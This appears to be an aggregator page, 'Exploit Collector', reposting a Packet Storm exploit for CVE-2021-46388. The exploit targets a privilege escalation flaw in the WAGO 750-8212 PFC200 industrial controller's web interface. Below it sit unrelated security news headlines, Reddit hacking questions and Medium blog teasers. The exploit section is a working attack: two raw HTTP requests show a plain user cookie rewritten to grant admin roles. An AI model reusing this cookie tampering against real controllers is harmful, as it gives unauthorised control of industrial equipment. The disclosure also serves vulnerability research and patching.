Exploit Collector
WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation

https://3.bp.blogspot.com/--aVxNCIn1VA/WWlvnVN-uzI/AAAAAAAAIRQ/ADDhvty6Qn8T3Zf1bX42ni77vOOnTgOQwCLcBGAs/s1600/hack_img5.png
WAGO 750-8212 PFC200 G2 2ETH RS suffers from a privilege escalation vulnerability.

MD5 | 6466008b91f5fa677f2021a112398c39

Download
# Exploit Title: WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation
# Date: 02/16/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy) at Cypro AB
# Vendor Homepage: https://www.wago.com
# Version: Firmware version 03.05.10(17)
# Tested on: PopOS! [Linux](Firefox)
# CVE : CVE-2021-46388

========================================
= The ordinary user privilege request:
========================================

GET /wbm/ HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.1.1/wbm/
Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22user%22%2C%22roles%22:[%22user%22%2C%22guest%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642368720673%2C%22sessionExists%22:true}

==========================================
= Manipulated Cookie to Admin Privilege:
==========================================

GET /wbm/ HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.1.1/wbm/
Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22admin%22%2C%22roles%22:[%22admin%22%2C%22admin%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642369499829%2C%22sessionExists%22:true}


Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
How to Boost Shift-Left Security in the SDLC

Organizations will see big wins from applying security controls early in the development life cycle.

Dark Reading: Attacks/Breaches
Companies Borrow Attack Technique to Watermark Machine Learning Models

Researchers continue to improve on a technique for embedded crafted outputs into machine-learning models, an anti-copying technique originally thought up by adversarial researchers.

Dark Reading: Attacks/Breaches
Researchers Warn of Stealthy Chinese Backdoor Targeting Multiple Foreign Agencies

A stealthy backdoor program used by China-linked threat actors has targeted government computers at multiple foreign agencies, allowing attackers to retain a presence on sensitive networks and exfiltrate data while remaining undetected.

hacking: security in practice
Could hacking organizations use people specialized in persuasion?

Hi there,

I always loved the world of hacking, but life took me in another direction. Now I work in advertising as a copywriter (persuasive writing), but I would still love to be part of this world. I was wondering if my knowledge could eventually be of use for an ethical hacking organization.

Since hacker a lot of times rely on social engineering, that kinda makes sense for me. However, I think it's best to hear the opinion of someone that already knows about this.

I also have some background in coding, but I don't think that's relevant in this case.

submitted by /u/MrVulpe
[link] [comments]

hacking: security in practice
Resource for different types of cyberattacks

Is there a resource you guys use for learning about different types of attacks? For example, I was trying to find what types of attacks are possible on an open network and couldn't find any great resources. Thanks! and sorry if this is a stupid question

submitted by /u/Nlbjj91011
[link] [comments]

hacking: security in practice
Conti group chat leaks

https://external-preview.redd.it/0E5jZOaMvVIGJ-VsM57tNQ9kxgSt3iYnxH1wirTo8ZM.jpg?width=640&crop=smart&auto=webp&s=f990a004f832d8a566bbbd8c357cb8d156e57cde submitted by /u/DrinkMoreCodeMore
[link] [comments]

Hacking on Medium
Stress testing websites with HTTP flood attack

https://cdn-images-1.medium.com/max/1250/1*-f1MQNv8yn1psL1S_bdmNA.png
Exploring a specific type of DDoS attacks — HTTP flood

Continue reading on Medium »

Hacking on Medium
Hacking the backdoor

https://cdn-images-1.medium.com/max/810/1*PQC_SpF1gsILdi6gyCKWyA.png
Hi guys, I’m back with a new blog and this it’s great for beginners like me, with this blog I’ll try to explain how I “hack” this machine…

Continue reading on Medium »

Hacking on Medium
TryHackMe — Boiler CTF — Writeup

https://cdn-images-1.medium.com/max/600/1*FWQmWkVY7A0xZgsE50B5MA.png
E vamos para mais um CTF.
Conforme definido pelo autor, este CTF é de nível intermediário.

Continue reading on Medium »

Hacking on Medium
16 deadliest Malwares of all time

https://cdn-images-1.medium.com/max/1920/0*9iPP7QV3Gwy7dpzd
The deadliest malware occurred throughout history

Continue reading on Medium »

Hacking on Medium
Knowledge of Malware

https://cdn-images-1.medium.com/max/2000/1*NLpPakxffwOe9XIVECq3pg.jpeg
Hello readers

Continue reading on Medium »

Hacking on Medium
CISA advierte sobre fallas de alta gravedad en el software SCADA de Schneider y GE Digital

https://cdn-images-1.medium.com/max/1600/0*VNUMGb4GaCcmnSis
PUBLICADO EN 28 FEBRERO, 2022POR EHACKING

Continue reading on Medium »

hacking: security in practice
How would you find a target gateway from an entirely external stance?

Hey All,

I'm just looking for options and best practices for the following scenario

I have a home network where I have my "lab" for lack of a better term, How would you as an "attacker" find that IP address externally?

This may be a much lower level question than I thought so if so pardon my ignorance and I appreciate any help.

submitted by /u/Varloch_The_Undying
[link] [comments]